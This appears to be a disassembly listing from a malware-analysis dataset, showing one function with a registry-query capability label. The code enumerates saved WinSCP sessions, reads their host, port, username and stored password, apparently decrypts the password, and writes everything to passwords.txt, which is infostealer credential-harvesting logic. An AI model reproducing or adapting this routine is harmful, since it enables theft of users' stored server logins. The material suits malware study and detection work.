Function at 0x40e530
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xde4
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x1e3]
push ebx
push eax
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x1e4], bl
call sub.msvcrt.dll_memset
push 0x3ff
lea ecx, [ebp - 0xde3]
push ebx
push ecx
mov dword [ebp - 0x14], 0x104
mov byte [ebp - 0xde4], bl
call sub.msvcrt.dll_memset
push 0x3ff
lea edx, [ebp - 0x5e3]
push ebx
push edx
mov byte [ebp - 0x5e4], bl
call sub.msvcrt.dll_memset
push 0x3ff
lea eax, [ebp - 0x9e3]
push ebx
push eax
mov byte [ebp - 0x9e4], bl
call sub.msvcrt.dll_memset
mov esi, 0x400
push esi
lea ecx, [ebp - 0xde4]
push ebx
push ecx
call sub.msvcrt.dll_memset
push esi
lea edx, [ebp - 0x5e4]
push ebx
push edx
call sub.msvcrt.dll_memset
add esp, 0x48
push esi
lea eax, [ebp - 0x9e4]
push ebx
push eax
call sub.msvcrt.dll_memset
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push 1
push ebx
push str.SoftwareMartin_PrikrylWinSCP_2Configuration
push SysReAllocString
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
call edi
test eax, eax
jne 0x40e639
mov ecx, dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegGetValueA]
lea edx, [ebp - 0x40]
push edx
lea eax, [ebp - 0x30]
push eax
push ebx
push 0x10
push str.UseMasterPassword
push str.Security
push ecx
call esi
test eax, eax
mov eax, dword [ebp - 4]
je 0x40e660
cmp eax, ebx
je 0x40e639
push eax
call dword [0xb39b30]
mov dword [ebp - 4], ebx
lea ecx, [ebp + 0x34]
call fcn.0040f9f0
lea ecx, [ebp + 0x20]
call fcn.0040f9f0
lea ecx, [ebp + 0x14]
call fcn.0040f9f0
lea ecx, [ebp + 8]
call fcn.0040f9f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x30], ebx
jne 0x40e62b
cmp eax, ebx
je 0x40e673
push eax
call dword [0xb39b30]
mov dword [ebp - 4], ebx
lea edx, [ebp - 4]
push edx
push 9
push ebx
push str.SoftwareMartin_PrikrylWinSCP_2Sessions
push SysReAllocString
call edi
test eax, eax
jne 0x40ea3d
mov edx, dword [ebp - 4]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x1e4]
push ecx
push ebx
push edx
call dword [0xb39bbc]
test eax, eax
je 0x40e6d0
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x40ea3d
push eax
call dword [0xb39b30]
lea ecx, [ebp + 8]
mov dword [ebp - 4], ebx
call fcn.00401050
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x4201f1
lea ecx, [ebp - 0x10]
call fcn.0040f970
lea ecx, [ecx]
push str.Soft:_WinSCP_n
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x10]
call fcn.0040fa50
lea ecx, [ebp - 0x64]
call fcn.0040f9f0
push str.Host:
lea ecx, [ebp - 0x88]
push ecx
lea ecx, [ebp - 0x10]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x10]
call fcn.0040fa50
lea ecx, [ebp - 0x88]
call fcn.0040f9f0
lea edx, [ebp - 0x2c]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0xde4]
push eax
push ebx
push 2
push str.HostName
lea ecx, [ebp - 0x1e4]
push ecx
push edx
call esi
lea eax, [ebp - 0xde4]
push eax
lea ecx, [ebp - 0x4c]
push ecx
lea ecx, [ebp - 0x10]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x10]
call fcn.0040fa50
lea ecx, [ebp - 0x4c]
call fcn.0040f9f0
lea edx, [ebp - 0x1c]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x28]
push eax
push ebx
push 0xffff
push str.PortNumber
lea ecx, [ebp - 0x1e4]
push ecx
push edx
mov dword [ebp - 0x1c], 4
call esi
test eax, eax
jne 0x40e7d2
mov eax, dword [ebp - 0x28]
push eax
lea ecx, [ebp - 0x7c]
push ecx
call fcn.004113a0
add esp, 8
push eax
lea edx, [ebp - 0xa0]
push edx
lea ecx, [ebp - 0x10]
call fcn.0040faa0
push eax
lea ecx, [ebp - 0x10]
call fcn.0040fa50
lea ecx, [ebp - 0xa0]
call fcn.0040f9f0
lea ecx, [ebp - 0x7c]
jmp 0x40e7f5
push 0x42369c
lea eax, [ebp - 0xac]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x10]
call fcn.0040fa50
lea ecx, [ebp - 0xac]
call fcn.0040f9f0
push str._nLogin:
lea ecx, [ebp - 0x94]
push ecx
lea ecx, [ebp - 0x10]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x10]
call fcn.0040fa50
lea ecx, [ebp - 0x94]
call fcn.0040f9f0
lea edx, [ebp - 0x24]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x5e4]
push eax
push ebx
push 2
push str.UserName
lea ecx, [ebp - 0x1e4]
push ecx
push edx
call esi
lea eax, [ebp - 0x5e4]
push eax
lea ecx, [ebp - 0xc4]
push ecx
lea ecx, [ebp - 0x10]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x10]
call fcn.0040fa50
lea ecx, [ebp - 0xc4]
call fcn.0040f9f0
push 0x4233f8
lea edx, [ebp - 0xb8]
push edx
lea ecx, [ebp - 0x10]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x10]
call fcn.0040fa50
lea ecx, [ebp - 0xb8]
call fcn.0040f9f0
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x9e4]
push ecx
push ebx
push 2
push str.Password
lea edx, [ebp - 0x1e4]
push edx
push eax
call esi
push str.Password:
lea ecx, [ebp - 0x58]
push ecx
lea ecx, [ebp - 0x10]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x10]
call fcn.0040fa50
lea ecx, [ebp - 0x58]
call fcn.0040f9f0
push 0x4201f1
lea edx, [ebp - 0x9e4]
push edx
call dword [0xb39ba0]
test eax, eax
je 0x40e951
lea eax, [ebp - 0x9e4]
push eax
lea ecx, [ebp - 0x5e4]
push ecx
lea edx, [ebp - 0xde4]
push edx
lea eax, [ebp - 0xe0]
push eax
call fcn.0040dee0
mov edi, 0x10
add esp, 0x10
cmp dword [eax + 0x14], edi
jb 0x40e91c
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x70]
push ecx
lea ecx, [ebp - 0x10]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x10]
call fcn.0040fa50
lea ecx, [ebp - 0x70]
call fcn.0040f9f0
cmp dword [ebp - 0xcc], edi
jb 0x40e951
mov edx, dword [ebp - 0xe0]
push edx
call fcn.00411610
add esp, 4
push 0x423674
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040fb00
push eax
lea ecx, [ebp - 0x10]
call fcn.0040fa50
lea ecx, [ebp - 0x3c]
call fcn.0040f9f0
mov eax, dword [ebp - 0x18]
push ebx
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x14]
push ecx
inc eax
lea edx, [ebp - 0x1e4]
push edx
push eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
push eax
mov dword [ebp - 0x14], 0x104
call dword [0xb39bbc]
push ebx
lea ecx, [ebp - 0x5e4]
push ebx
push ecx
mov edi, eax
call sub.msvcrt.dll_memset
push ebx
lea edx, [ebp - 0x9e4]
push ebx
push edx
call sub.msvcrt.dll_memset
add esp, 0x18
cmp edi, 0x103
jne 0x40e6e0
lea ecx, [ebp - 0x10]
call fcn.0040fbb0
push eax
call dword [0xb39a84]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040fbb0
push eax
sub esp, 0xc
mov ecx, esp
push str.passwords.txt
call fcn.0040f970
sub esp, 0x68
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00401080
lea ecx, [ebp - 0x3c]
push ecx
call fcn.00414180
add esp, 0x80
lea ecx, [ebp - 0x3c]
call fcn.0040f9f0
push 0xc
lea edx, [ebp - 0x10]
push ebx
push edx
call sub.msvcrt.dll_memset
mov eax, dword [ebp - 4]
add esp, 0xc
cmp eax, ebx
je 0x40ea35
push eax
call dword [0xb39b30]
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x10]
call fcn.0040f9f0
lea ecx, [ebp + 8]
call fcn.00401050
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret